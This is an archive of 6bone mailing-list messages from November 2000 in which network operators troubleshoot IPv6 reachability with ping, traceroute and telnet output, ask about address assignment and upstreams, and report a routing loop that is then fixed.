> 64 bytes from 3ffe:2100:1:11:60:3e59:27fa:2: icmp_seq=3 
> hops=58 time=233.6
> ms
> 64 bytes from 3ffe:2100:1:11:60:3e59:27fa:2: icmp_seq=4 
> hops=58 time=230.3
> ms
> 64 bytes from 3ffe:2100:1:11:60:3e59:27fa:2: icmp_seq=5 
> hops=58 time=230.0
> ms
> 64 bytes from 3ffe:2100:1:11:60:3e59:27fa:2: icmp_seq=6 
> hops=58 time=226.7
> ms
> 64 bytes from 3ffe:2100:1:11:60:3e59:27fa:2: icmp_seq=7 
> hops=58 time=234.6
> ms
> 64 bytes from 3ffe:2100:1:11:60:3e59:27fa:2: icmp_seq=8 
> hops=58 time=236.4
> ms
> 64 bytes from 3ffe:2100:1:11:60:3e59:27fa:2: icmp_seq=9 
> hops=58 time=232.7
> ms
> 
> 
> Cheerio! Kr. Bonne.
> -- 
> KB905-RIPE                                      belgacom 
> internet backbone
> (c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff) International 
> Connectivity
> kristoff@belbone.net                            fax: +32 2 2435122
> 

From 6bone-owner  Fri Nov 10 03:38:03 2000
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From: Kristoff Bonne <kristoff.bonne@skypro.be>
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To: stuart.prevost@bt.com
Cc: Ronald.vanderPol@surfnet.nl, 6bone@ISI.EDU
Subject: RE: IPv6-only reachable (web)-site
In-Reply-To: <5104D4DBC598D211B5FE0000F8FE7EB207413C85@mbtlipnt02.btlabs.bt.co.uk>
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Greetings,

On Fri, 10 Nov 2000 stuart.prevost@bt.com wrote:
> Please try now, I shutdown a peer that was advertising your prefix ...
hmm. Interesting.
Who is it?


> ... and I can now reach you
> ASTERIX#ping 3ffe:80b0:1001:1:260:5cff:fef3:610c
> Type escape sequence to abort.
> Sending 5, 100-byte ICMP Echos to 3FFE:80B0:1001:1:260:5CFF:FEF3:610C,
> timeout is 2 seconds:
> !!!!!
> Success rate is 100 percent (5/5), round-trip min/avg/max = 276/356/636 ms

The same thing here. (see traceroute below).
But, I do still thing there is a problem of saturation somewhere.
(somewhere between hop 4 and 5 of my traceroute).


--- cut here --- cut here --- cut here ---
[root@odin /root]# traceroute6 www.ipv6.bt.com
traceroute to www.ipv6.bt.com (2001:618:5:20:2c0:4fff:fe43:8e6c) from
3ffe:80b0:1001:1:2a0:24ff:feb7:6d23, 30 hops max, 16 byte packets
 1  r-tgx.ipv6.belbone.net (3ffe:80b0:1001:1:260:5cff:fef3:610c)  2.321 ms
*  2.579 ms
 2  t9.ipv6.science.belnet.net (3ffe:608:2:2::10)  12.758 ms *  14.496 ms
 3  3ffe:8038:80:14::1 (3ffe:8038:80:14::1)  38.841 ms *  41.048 ms
 4  3ffe:8038:80:4::2 (3ffe:8038:80:4::2)  58.218 ms *  58.714 ms
 5  3ffe:2100:1:11:60:3e59:27fa:2 (3ffe:2100:1:11:60:3e59:27fa:2)  85.914
ms *  484.83 ms
 6  leanet-core-lon-a2-0_1.ipv6.bt.com (2001:618:1::d)  326.682 ms *
718.915 ms
 7  leanet-core-ips-a2-0_1.ipv6.bt.com (2001:618:1::c)  513.277 ms
leanet-core-ips-e1_3.ipv6.bt.com
(2001:618:5::)  453.057 ms  316.403 ms
 8  leanet-core-ips-6init-int.ipv6.bt.com
(2001:618:5:0:2c0:33ff:fe02:143)  298.817 ms *  587.287 ms 9
www.ipv6.bt.com (2001:618:5:20:2c0:4fff:fe43:8e6c)  389.337 ms  710.587 ms
2291.5 ms
--- cut here --- cut here --- cut here ---


Cheerio! Kr. Bonne.
-- 
KB905-RIPE                                      belgacom internet backbone
(c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff) International Connectivity
kristoff@belbone.net                            fax: +32 2 2435122


From 6bone-owner  Fri Nov 10 04:39:33 2000
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From: Feico Dillema <feico@pasta.cs.uit.no>
To: 6bone@ISI.EDU
Cc: tage@pasta.cs.uit.no
Subject: Re: IPv6-only reachable (web)-site
Message-ID: <20001110133913.A418@pasta.cs.uit.no>
References: <20001109122001.C29131@dillema.net> <Pine.LNX.4.21.0011100834210.953-100000@frigg.belbone.net> <20001110125733.B20605@itea.ntnu.no>
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On Fri, Nov 10, 2000 at 12:57:33PM +0100, Stig Venås wrote:
> On Fri, Nov 10, 2000 at 08:40:18AM +0100, Kristoff Bonne wrote:
> > I did notice however that a traceroute from Belgium to Norway went over
> > Japan.
> > Well, it's not via the US (as would be the case for IPv4), but hardly
> > optimal neither. ;-)
Normally it shouldn't, but things haven't been great at the exit point
out of Norway as Stig also mentioned. We're working on multihoming our
network to have a backup route when our main upstream route goes down
or becomes really bad like lately.
 
> Anyone willing to offer full 6bone connectivity for UNINETT and
> Norway's native IPv6 network? We're too dependent on a somewhat
> unstable 6bone connectivity at the moment. We're the owner of
> the pTLA 3FFE:2A00::/24.
Hei Stig,

We suggested Uninett to go for `real' addresses and connectivity by
connecting through e.g. NTT in Londen who offers native IPv6 service
either to replace 6bone connectivity or as multihoming solution. Wuold
also give us the opportunity to experiment with host and router based 
multihoming setups. 

Feico.

From 6bone-owner  Fri Nov 10 05:12:40 2000
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From: "Jan H. van Gils" <JanVG@Knoware.NL>
To: "6Bone" <6bone@ISI.EDU>
Cc: "Gils van, Jan H." <janvg@knoware.nl>, <janvg@sps.nl>
Subject: Question
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    Thanks for reading,

Because I do not have a IPv6 enable web browser I can not look at my IPv6
web server
can somebody have a try at http://locutus.ipv6.sps.nl/ thanks and let me
know if it
is working.

Jan

----
With regards Jan H. van Gils
Internet web-page http://www.Knoware.NL/users/JanVG/
Internet e-mail address JanVG@Knoware.NL
RIPE Whois JHG5-RIPE, 6BONE Whois JHG1-6BONE


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Subject: Re: IPv6-only reachable (web)-site
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On Fri, Nov 10, 2000 at 03:44:13PM +0100, Stig Venås wrote:
> On Fri, Nov 10, 2000 at 01:39:13PM +0100, Feico Dillema wrote:
> > On Fri, Nov 10, 2000 at 12:57:33PM +0100, Stig Venås wrote:
> > > On Fri, Nov 10, 2000 at 08:40:18AM +0100, Kristoff Bonne wrote:
> 
> Yes, we are going for production addresses, so we should have at least
> two prefixes. 
Great!

> I'm also testing 6to4 so I have several prefixes today.
> If you are interested, we could give you a 6to4 prefix using a gateway
> in Trondheim as 6to4 gateway.
We're also testing 6to4 (just started). We'd like to use you as 6to4
gateway initially, but planned to setup a relay ourselves too somewhat
later.

Feico.

From 6bone-owner  Fri Nov 10 09:00:12 2000
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Date: Fri, 10 Nov 2000 17:59:47 +0100
From: Feico Dillema <feico@pasta.cs.uit.no>
To: "Jan H. van Gils" <JanVG@Knoware.NL>
Cc: 6Bone <6bone@ISI.EDU>, janvg@sps.nl
Subject: Re: Question
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On Fri, Nov 10, 2000 at 02:13:18PM +0100, Jan H. van Gils wrote:
> Because I do not have a IPv6 enable web browser I can not look at my IPv6
> web server
> can somebody have a try at http://locutus.ipv6.sps.nl/ thanks and let me
> know if it
> is working.

Hallo Jan,

I can get to Nederland, but not to your site. So it looks like
upstreams of yours there's a connectivity problem.

BTW, if you don't have a v6-enabled browser, telnet to port 80
generally works ok for testing. You can also use a v6 enabled proxy in
front of your v4 browser like I do (e.g. I have added v6 support to
wwwoffle and junkbuster, and squid also has v6 patches available).

Feico.

18 dillema@zila:~> telnet locutus.ipv6.sps.nl 80
Trying 3ffe:2500:304::1...
^C
19 dillema@zila:~> traceroute6 locutus.ipv6.sps.nl
traceroute6 to locutus.ipv6.sps.nl (3ffe:2500:304::1) from
3ffe:2a00:100:3039:25
0:4ff:feec:b1fa, 30 hops max, 12 byte packets
 1  cisco-in  1.174 ms  1.139 ms  1.078 ms
 2  radio1-relay-in2.pasta.cs.uit.no  10.844 ms  10.817 ms  11.071 ms
 3  radio1-gw-in2.pasta.cs.uit.no  48.17 ms  20.82 ms  20.781 ms
 4  cisco.pasta.cs.uit.no  20.826 ms *  27.731 ms
 5  tromso-ipv6.uninett.no  23.432 ms  21.884 ms  27.034 ms
 6  trd-gw5.uninett.no  36.163 ms  35.909 ms  60.888 ms
 7  oslo-gw8.uninett.no  52.573 ms  43.884 ms  48.6 ms
 8  6bone-gw-uio.ipv6.sics.se  98.711 ms * *
 9  3ffe:1d00:2:4::1  185.565 ms *  237.358 ms
10  3ffe:1100:0:c2c::1  329.499 ms *  381.906 ms
11  uunet-uk-if.ipv6.nl.net  402.827 ms  369.135 ms *
12  * * *
13  * * *
14  * * *
15  * * *
16  * * *
17  * * *
18  * *^C
20 dillema@zila:~> ping6 locutus.ipv6.sps.nl
PING6(56=40+8+8 bytes) 3ffe:2a00:100:3039:250:4ff:feec:b1fa -->
3ffe:2500:304::1
^C
--- locutus.ipv6.sps.nl ping6 statistics ---
4 packets transmitted, 0 packets received, 100% packet loss

From 6bone-owner  Fri Nov 10 10:10:55 2000
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Date: Fri, 10 Nov 2000 19:10:46 +0100
From: Jasper Jongmans <aprogas@mail.com>
To: "Jan H. van Gils" <JanVG@Knoware.NL>
CC: 6bone@ISI.EDU
Subject: Re: Question
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Fri, 10 Nov 2000, Jan H. van Gils wrote:
> Because I do not have a IPv6 enable web browser I can not look at my IPv6
> web server
> can somebody have a try at http://locutus.ipv6.sps.nl/ thanks and let me
> know if it
> is working.

aprogas@muisje:/usr/home/aprogas$ telnet locutus.ipv6.sps.nl 80
locutus.ipv6.sps.nl: No address associated with hostname
aprogas@muisje:/usr/home/aprogas$ 

In other words: it does not seem to work.

- -- 
Jasper Jongmans                                            aprogas@mail.com
Website                         http://aprogas.student.utwente.nl/~aprogas/
PGP public key            ftp://aprogas.student.utwente.nl/keys/pgp_dss.asc

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.4 (FreeBSD)
Comment: For info see http://www.gnupg.org

iD8DBQE6DDomfuu+THq4fAIRAhpvAKCS8cyr6wKgBt51VHoHCgXlHkhd7wCg6Gtu
FKXsDcb0yonAE9DRzD68qTI=
=NqmZ
-----END PGP SIGNATURE-----


From 6bone-owner  Fri Nov 10 10:43:44 2000
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Date: Fri, 10 Nov 2000 13:39:05 -0500
From: John Comeau <jcomeau@dialtoneinternet.net>
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I seem to have lost my freenet6 tunnel; this has happened in the past and a
reboot fixed it before. Alms for the clueless, anyone? - jc

#route -A inet6

Kernel IPv6 routing table
Destination                                 Next Hop
Flags Metric Ref    Use Iface
::1/128                                     ::
U     0      7        1 lo      
::127.0.0.1/128                             ::
U     0      0        0 lo      
::172.16.0.93/128                           ::
U     0      0        0 lo      
::216.87.223.240/128                        ::
U     0      0        0 lo      
::/96                                       ::
U     256    0        0 sit0    
3ffe:b00:c18:1fff::2bd/128                  ::
U     0      0        0 lo      
3ffe:b00:c18:1fff::/64                      ::
U     1      0        0 eth0    
fe80::ac10:5d/128                           ::
U     0      0        0 lo      
fe80::d857:dff0/128                         ::
U     0      0        0 lo      
fe80::250:daff:fec1:c345/128                ::
U     0      0        0 lo      
fe80::/10                                   ::
UA    256    0        0 eth0    
fe80::/10                                   ::
UA    256    0        0 sit1    
ff00::/8                                    ::
UA    256    0        0 eth0    
ff00::/8                                    ::
UA    256    0        0 sit1    
::/0                                        fe80::ce7b:1f66
UG    1      13       0 sit1    
::/0                                        ::
UA    256    0        0 eth0    



#ifconfig

eth0      Link encap:Ethernet  HWaddr 00:50:DA:C1:C3:45  
          inet addr:216.87.223.240  Bcast:216.87.223.255  Mask:255.255.255.0
          inet6 addr: fe80::250:daff:fec1:c345/10 Scope:Link
          inet6 addr: 3ffe:b00:c18:1fff::2bd/0 Scope:Global
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:90170 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2854 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:100 
          Interrupt:10 Base address:0xe400 

eth0:0    Link encap:Ethernet  HWaddr 00:50:DA:C1:C3:45  
          inet addr:172.16.0.93  Bcast:172.16.0.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          Interrupt:10 Base address:0xe400 

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:3924  Metric:1
          RX packets:43 errors:0 dropped:0 overruns:0 frame:0
          TX packets:43 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 

sit0      Link encap:IPv6-in-IPv4  
          inet6 addr: ::127.0.0.1/96 Scope:Unknown
          inet6 addr: ::216.87.223.240/96 Scope:Compat
          inet6 addr: ::172.16.0.93/96 Scope:Compat
          UP RUNNING NOARP  MTU:1480  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 

sit1      Link encap:IPv6-in-IPv4  
          inet6 addr: fe80::d857:dff0/10 Scope:Link
          inet6 addr: fe80::ac10:5d/10 Scope:Link
          UP POINTOPOINT RUNNING NOARP  MTU:1480  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:25 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 



#traceroute6 3ffe:b00:c18:1fff::2bc

traceroute to 3ffe:b00:c18:1fff::2bc (3ffe:b00:c18:1fff::2bc) from
3ffe:b00:c18:1fff::2bd, 30 hops max, 16 byte packets
 1  ip6-localhost (::1)  2999.09 ms !H  2998.94 ms !H  2999.88 ms
!H

From 6bone-owner  Fri Nov 10 13:49:57 2000
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Message-ID: <003301c04b60$405a3090$2555950a@stben.be>
From: "Jean-Louis Noel" <jln@stben.be>
To: <6bone@ISI.EDU>
References: <008001c04b17$fe016850$7365f7c2@RHA> <20001110175947.C123@dillema.net>
Subject: Re: Question
Date: Fri, 10 Nov 2000 22:50:33 +0100
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Hello,

"Feico Dillema" <feico@pasta.cs.uit.no> wrote to "Jan H. van Gils"
<JanVG@Knoware.NL>

> I can get to Nederland, but not to your site. So it looks like
> upstreams of yours there's a connectivity problem.

Same problem :
==========
TracePath IPv6 Results from www.stben.be to locutus.ipv6.sps.nl
----------------------------------------------------------------------------
----
 1?: [LOCALHOST]                      pmtu 1500
 1:  rout-dom.stben.be (3ffe:608:2:300:200:b4ff:fe91:a2bb)   0.893ms
 2:  rout-dom.stben.be (3ffe:608:2:300:200:b4ff:fe91:a2bb) asymm  1
0.646ms pmtu 1480
 2:  belnet.ipv6.intouch.net (3ffe:3001:6:1::1d) 444. 34ms
 3:  surfnet.ipv6.ams-ix.net (3ffe:3000::a500:1103:1) 378.631ms
 4:  uunet.ipv6.ams-ix.net (3ffe:3000::a500:1890:1) 350.437ms
 5:  no reply
[...]
31:  no reply
     Too many hops: pmtu 1480
     Resume: pmtu 1480
==========
> 19 dillema@zila:~> traceroute6 locutus.ipv6.sps.nl
> traceroute6 to locutus.ipv6.sps.nl (3ffe:2500:304::1) from
> 3ffe:2a00:100:3039:25
> 0:4ff:feec:b1fa, 30 hops max, 12 byte packets
>  1  cisco-in  1.174 ms  1.139 ms  1.078 ms
[...]
> 11  uunet-uk-if.ipv6.nl.net  402.827 ms  369.135 ms *


> BTW, if you don't have a v6-enabled browser, telnet to port 80
> generally works ok for testing. You can also use a v6 enabled proxy in
> front of your v4 browser like I do (e.g. I have added v6 support to
> wwwoffle and junkbuster, and squid also has v6 patches available).

For Internet explorer use wininet.dll from ipv6kit.

Bye,
Jean-Louis


From 6bone-owner  Fri Nov 10 14:52:25 2000
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From: "Jean-Louis Noel" <jln@stben.be>
To: <6bone@ISI.EDU>
References: <008001c04b17$fe016850$7365f7c2@RHA> <200011101810.eAAIAk125632@aprogas.student.utwente.nl>
Subject: Re: Question
Date: Fri, 10 Nov 2000 23:52:41 +0100
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Hello,

"Jasper Jongmans" <aprogas@mail.com> wrote to "Jan H. van Gils"
<JanVG@Knoware.NL>

> aprogas@muisje:/usr/home/aprogas$ telnet locutus.ipv6.sps.nl 80
> locutus.ipv6.sps.nl: No address associated with hostname
> aprogas@muisje:/usr/home/aprogas$
>
> In other words: it does not seem to work.

!!!
==========
> set querytype=aaaa
> locutus.ipv6.sps.nl
Server:  samba.stben.be
Address:  10.149.85.7

Answer crypto-validated by server:
Non-authoritative answer:
locutus.ipv6.sps.nl     IPv6 address = 3ffe:2500:304::1

Authoritative answers can be found from:
ipv6.sps.nl     nameserver = locutus.sps.nl
==========

Bye,
Jean-Louis


From 6bone-owner  Fri Nov 10 15:35:35 2000
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To: Kristoff Bonne <kristoff.bonne@skypro.be>
cc: "Michael W. Oliver" <oliver.michael@gargantuan.com>, 6bone@ISI.EDU
Subject: Re: IPv6-only reachable (web)-site 
In-reply-to: Your message of "Fri, 10 Nov 2000 08:31:50 +0100."
             <Pine.LNX.4.21.0011100829070.953-100000@frigg.belbone.net> 
Date: Fri, 10 Nov 2000 11:42:49 -0800
From: Stephen Stuart <stuart@mfnx.net>
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> On Wed, 8 Nov 2000, Michael W. Oliver wrote:
> > I believe that http://altavista.ipv6.digital.com/ is IPv6 only, but I may
> > be wrong.  Also, you can go to http://www.kame.net/ to verify IPv6 HTTP
> > connectivity.  There is an IPv6 version, but if you get to the IPv6 side,
> > you will find the dancing KAME on the top of the page.  Good luck!!
> 
> The web-site of altavista does not seams to be active anymore, but I do
> get the dancing KAME on their web-site.

http://altavista.ipv6.digital.com/ was something I put up when I
worked for Digital's Network Systems Laboratory; it probably hasn't
been functional for a while now.

Stephen


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Date: Sat, 11 Nov 2000 01:57:34 +0000 (GMT)
From: IPV6 e-mail <chrisip6@shell.ketlink.com>
To: 6bone@ISI.EDU
Subject: IPv6 connectivity
In-Reply-To: <200011101942.eAAJgo732665@hi.tech.org>
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Greetings,

	I have just started getting into IPv6 and i would like to know how
to get started with this. I have a alot of internet/networking experiance
and i run a small i-net provider and i would like to start getting into
ipv6 and ipv6 networking. I would like to provide something as the
6bone. Ihave the resources and time, but i just need a little kick in
finding some info to get started. Any help is appreciated.

-Chris



From 6bone-owner  Sat Nov 11 01:56:24 2000
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To: IPV6 e-mail <chrisip6@shell.ketlink.com>
cc: 6bone@ISI.EDU
Subject: Re: IPv6 connectivity
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On Sat, 11 Nov 2000, IPV6 e-mail wrote:

> Greetings,
> 
> 	I have just started getting into IPv6 and i would like to know how
> to get started with this. I have a alot of internet/networking experiance
> and i run a small i-net provider and i would like to start getting into
> ipv6 and ipv6 networking. I would like to provide something as the
> 6bone. Ihave the resources and time, but i just need a little kick in
> finding some info to get started. Any help is appreciated.

http://www.6bone.net/ and start with the links:
About various IPv6 implementations
How to join the 6bone

	rvdp


From 6bone-owner  Sat Nov 11 09:11:18 2000
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References: <008001c04b17$fe016850$7365f7c2@RHA> <200011101810.eAAIAk125632@aprogas.student.utwente.nl>
Subject: IP Addresses question
Date: Sat, 11 Nov 2000 18:10:05 +0100
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Hello,

i want to finally enable IPv6 on most of my servers. testing with freenet6
was successful. now i have the question how to get a assigned IP range. i
have a class C IPv4 address and my own registrated name servers. is there
any hint how to get a IPv6 range? Also i tried to find an upstream. i
waiting 6 weeks for a reply of the people i mailed. any hint how to find an
upstream for the servers located in austria would be great too.

many thanks,

Karl M. Joch
Austria


_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com


From 6bone-owner  Sat Nov 11 14:25:14 2000
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Date: Sat, 11 Nov 2000 23:25:00 +0100
From: Jasper Jongmans <aprogas@mail.com>
To: <6bone@ISI.EDU>
Subject: Re: Question
Reply-To: aprogas@mail.com
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-----BEGIN PGP SIGNED MESSAGE-----
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On Fri, 10 Nov 2000, berry wrote:
> telnet6 instead of telnet?

Not needed, my regular telnet supports IPv6. It first tries an IPv6 connection, and if it fails it falls back to IPv4. Example:

aprogas@harry:/usr/home/aprogas$ telnet www.ipng.nl 80
Trying 3ffe:3001:6::2...
telnet: connect to address 3ffe:3001:6::2: Connection refused
Trying 212.19.220.13...
Connected to www.ipng.nl.
Escape character is '^]'.

- -- 
Jasper Jongmans                                            aprogas@mail.com
Website                         http://aprogas.student.utwente.nl/~aprogas/
PGP public key            ftp://aprogas.student.utwente.nl/keys/pgp_dss.asc

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From 6bone-owner  Mon Nov 13 00:26:45 2000
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From: Kristoff Bonne <kristoff.bonne@skypro.be>
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Gegroet,

On Sat, 11 Nov 2000, Jasper Jongmans wrote:
> On Fri, 10 Nov 2000, berry wrote:
> > telnet6 instead of telnet?
> Not needed, my regular telnet supports IPv6. It first tries an IPv6 connection, and if it fails it falls back to IPv4. Example:
(...)
Hmmm. Interessant.


Waar kun je die vinden (source of linux-executable)?
Ik heb wel al een aantal sites gevonden waar je IPv6-applicaties kunt
vinden, maar de 'gewone' tools (zoals telnet, ftp, ...) ben ik nog niet
tegengekomen.

Cheerio! Kr. Bonne.
-- 
KB905-RIPE                                      belgacom internet backbone
(c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff) International Connectivity
kristoff@belbone.net                            fax: +32 2 2435122


From 6bone-owner  Mon Nov 13 02:35:37 2000
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Date: Mon, 13 Nov 2000 11:35:27 +0100
From: Jasper Jongmans <aprogas@mail.com>
To: 6bone@ISI.EDU
Subject: RE: Question
Reply-To: aprogas@mail.com
In-Reply-To: <F12A39BB7A64D311BE8800508B137A0433EA33@moon.sps.nl>
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On Mon, 13 Nov 2000, Gils van, Jan wrote:
> During the Weekend the system crashed.
> It is again up and running and other reply's to my request say that it is
> possible to connect.

I tried again, the connection was opened, but I received no data when I issued an HTTP-request:
/***
aprogas@muisje:/usr/home/aprogas$ telnet locutus.ipv6.sps.nl 80
Trying 3ffe:2500:304::1...
Connected to locutus.ipv6.sps.nl.
Escape character is '^]'.
GET / HTTP/1.1
Host: locutus.ipv6.sps.nl
User-agent: telnet

<I wait, and then terminate>
Terminated
aprogas@muisje:/usr/home/aprogas$
**/


After terminating the telnet session I tried again, and the machine seemed unreachable:
/***
aprogas@muisje:/usr/home/aprogas$ telnet locutus.ipv6.sps.nl 80
Trying 3ffe:2500:304::1...
<I wait, and then interupt>
^C
aprogas@muisje:/usr/home/aprogas$
**/


I tried a traceroute to the host and it failed after a certain point. I also included the output of this traceroute; it might help you with fixing any problems:
/***

aprogas@muisje:/usr/home/aprogas$ traceroute6 locutus.ipv6.sps.nl
traceroute6 to locutus.ipv6.sps.nl (3ffe:2500:304::1) from 3ffe:80e8:10:2:210:5aff:febb:182f, 30 hops max, 12 byte packets
 1  harry  0.524 ms  0.404 ms  0.364 ms
 2  aprogas-gw.ipv6.wilbury.sk  110.336 ms  74.231 ms  67.641 ms
 3  nextra-gw.ipv6.svsbb.sk  214.963 ms  132.073 ms  239.456 ms
 4  2001:600:4:1ef::1  304.575 ms *  313.019 ms
 5  uunet-uk-if.ipv6.nl.net  299.86 ms *  401.682 ms
 6  * * *
 7  * * *
^C
aprogas@muisje:/usr/home/aprogas$ 
**/


- -- 
Jasper Jongmans                                            aprogas@mail.com
Website                         http://aprogas.student.utwente.nl/~aprogas/
PGP public key            ftp://aprogas.student.utwente.nl/keys/pgp_dss.asc

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From 6bone-owner  Mon Nov 13 13:47:54 2000
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From: Kristoff Bonne <kristoff.bonne@skypro.be>
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To: Marco Davids <marco@sara.nl>
Cc: 6bone@ISI.EDU
Subject: Re: Question
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Gegroet/Bonjour/Greetings,


First of all, ... oeps!
Slip of the finder, I did a 'reply to all', when I should have done a
'Reply to Sender only'.
This was not supposed to be sent in the mailing-list. (Hence my use of
dutch)


On Mon, 13 Nov 2000, Marco Davids wrote:
>>> telnet6 instead of telnet?
>> Not needed, my regular telnet supports IPv6. It first tries an IPv6 connection,
>> and if it fails it falls back to IPv4. Example:
>> (...)
>> Hmmm. Interessant.

>> Waar kun je die vinden (source of linux-executable)?
>> Ik heb wel al een aantal sites gevonden waar je IPv6-applicaties kunt
>> vinden, maar de 'gewone' tools (zoals telnet, ftp, ...) ben ik nog niet
>> tegengekomen.

> Point your favourite searchenginge to keywords like:
> inet6-apps-0.33.tar.gz (or more recent ones)
Thanks.

> And how about Mozilla? An IPv6 capable browser ;-)
On my pentium-100 laptop?
(The last time I checked it was much heavier than netscape, and even that
one doesn't run very fast on that box).

I think I'll try wwwoffle as proxy on my local box, so I can even use lynx
to surf the web.

> Openssh is also IPv6 compatible and there are many more, including
> telnet, Apache, ...
The only IPv6-patches of apache I found where for a (rather) old version
of apache. (Which could mean possible bugs or securiry-issues ???)



> irc, tcpdump, traceroute and many others.
> (my telnet for example is: telnet.95.10.23.NE+ipv6-3.tar.gz).
> Just point your searchengine in the right direction and you'll find what
> you are looking for.
Thanks!
(and also to the other people who replied!).

Cheerio! Kr. Bonne.
-- 
KB905-RIPE                                      belgacom internet backbone
(c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff) International Connectivity
kristoff@belbone.net                            fax: +32 2 2435122



From 6bone-owner  Tue Nov 14 02:50:53 2000
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Date: Tue, 14 Nov 2000 10:50:31 +0000
From: John Wright <john@dryfish.org>
To: 6bone@ISI.EDU
Subject: I don't understand... :)
Message-ID: <20001114105031.A17203@dryfish.org>
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I have a computer which has a ntt tunnel onto the 6bone and I have a /48 set of
addresses to play with.

What I want to do and appear to be powerless to achieve is get the machines
which the computer is attached to be able to use it as a router to the
6bone.

Currently I can use the link-layer address and specify the interface to
ping6 another computer but that machine couldn't find the rtadv messages my
rtadvd was sending and even with a manual ifconfig ifn inet6 alias
2001::... we couldn't ping6 the 2001 addresses even specifying an interface
(tcpdump didn't show these pings but did show the fe80 ones).

Also, when I was running rtadvd my default ipv6 interface was changed to the
ethernet instead of the gif tunnel.

I'm totally confused.

The OS is OpenBSD 2.7.

How get worky or where look?

From 6bone-owner  Tue Nov 14 06:39:31 2000
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To: kato@wide.ad.jp, v6@wide.ad.jp
Cc: 6bone@ISI.EDU
Subject: Routing loop inside wide
Date: Tue, 14 Nov 2000 14:31:21 -0000
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Hello,

Incase your not ware their seems to be a problem on the wide network, there
is a routing loop between these two boxes

pc7.otemachi.wide.ad.jp [3ffe:501:0:1802:2e0:18ff:fe98:a28d]

&

pc8.otemachi.wide.ad.jp [2001:200:0:1802:210:5aff:fe85:4414]



Tracing the route to pine.v6.kame.net (3FFE:501:4819:2000:5054:FF:FEDC:50D2)

  1 pine.v6.kame.net (2001:618:1::105) 312 msec *  308 msec
  2 pine.v6.kame.net (3FFE:501:0:1800:210:5AFF:FE76:2040) 288 msec 292 msec
288 msec
  3 pine.v6.kame.net (3FFE:501:0:1802:2E0:18FF:FE98:A28D) 288 msec 284 msec
288 msec
  4 pine.v6.kame.net (2001:200:0:1802:210:5AFF:FE85:4414) 292 msec 288 msec
288 msec
  5 pine.v6.kame.net (3FFE:501:0:1802:2E0:18FF:FE98:A28D) 284 msec 292 msec
284 msec
  6 pine.v6.kame.net (2001:200:0:1802:210:5AFF:FE85:4414) 292 msec 288 msec
284 msec
  7 pine.v6.kame.net (3FFE:501:0:1802:2E0:18FF:FE98:A28D) 284 msec 292 msec
288 msec
  8 pine.v6.kame.net (2001:200:0:1802:210:5AFF:FE85:4414) 288 msec 284 msec
292 msec
  9 pine.v6.kame.net (3FFE:501:0:1802:2E0:18FF:FE98:A28D) 292 msec 348 msec
280 msec
 10 pine.v6.kame.net (2001:200:0:1802:210:5AFF:FE85:4414) 288 msec 292 msec
288 msec
 11 pine.v6.kame.net (3FFE:501:0:1802:2E0:18FF:FE98:A28D) 296 msec 292 msec
296 msec
 12 pine.v6.kame.net (2001:200:0:1802:210:5AFF:FE85:4414) 296 msec 292 msec
288 msec
 13 pine.v6.kame.net (3FFE:501:0:1802:2E0:18FF:FE98:A28D) 284 msec 284 msec
292 msec
 14 pine.v6.kame.net (2001:200:0:1802:210:5AFF:FE85:4414) 288 msec 284 msec
288 msec
 15 pine.v6.kame.net (3FFE:501:0:1802:2E0:18FF:FE98:A28D) 284 msec 280 msec
288 msec
 16 pine.v6.kame.net (2001:200:0:1802:210:5AFF:FE85:4414) 292 msec 292 msec
292 msec
 17 pine.v6.kame.net (3FFE:501:0:1802:2E0:18FF:FE98:A28D) 292 msec 288 msec
288 msec
 18 pine.v6.kame.net (2001:200:0:1802:210:5AFF:FE85:4414) 292 msec 296 msec
288 msec
 19 pine.v6.kame.net (3FFE:501:0:1802:2E0:18FF:FE98:A28D) 280 msec 288 msec
288 msec
 20 pine.v6.kame.net (2001:200:0:1802:210:5AFF:FE85:4414) 292 msec *  292
msec
 21 pine.v6.kame.net (3FFE:501:0:1802:2E0:18FF:FE98:A28D) 292 msec 296 msec
284 msec
 22 pine.v6.kame.net (2001:200:0:1802:210:5AFF:FE85:4414) 288 msec *  288
msec

Regards,
Stuart


Stuart Prevost
---------------------------------------------------
IP Specialist, Futures Testbed
Tel:	+44 1473 646891
Fax:	+44 1473 643906
Mobile:	+44 7801 977290
Email:	stuart.prevost@bt.com
Addr:	B29/136 - Adastral Park, Martlesham Heath, Ipswich. Suffolk. IP5 3RE


From 6bone-owner  Tue Nov 14 06:50:36 2000
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To: v6@wide.ad.jp, stuart.prevost@bt.com
Cc: kato@wide.ad.jp, 6bone@ISI.EDU
Subject: Re: (v6 13810) Routing loop inside wide
From: Yasuhiro Ohara <yasu@sfc.wide.ad.jp>
In-Reply-To: <5104D4DBC598D211B5FE0000F8FE7EB207413C99@mbtlipnt02.btlabs.bt.co.uk>
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stuart.prevost> Hello,
stuart.prevost> 
stuart.prevost> Incase your not ware their seems to be a problem on the wide network, there
stuart.prevost> is a routing loop between these two boxes
stuart.prevost> 
stuart.prevost> pc7.otemachi.wide.ad.jp [3ffe:501:0:1802:2e0:18ff:fe98:a28d]
stuart.prevost> 
stuart.prevost> &
stuart.prevost> 
stuart.prevost> pc8.otemachi.wide.ad.jp [2001:200:0:1802:210:5aff:fe85:4414]

sorry, I've fixed it.
could you try again?

      yasu@sfc.wide.ad.jp

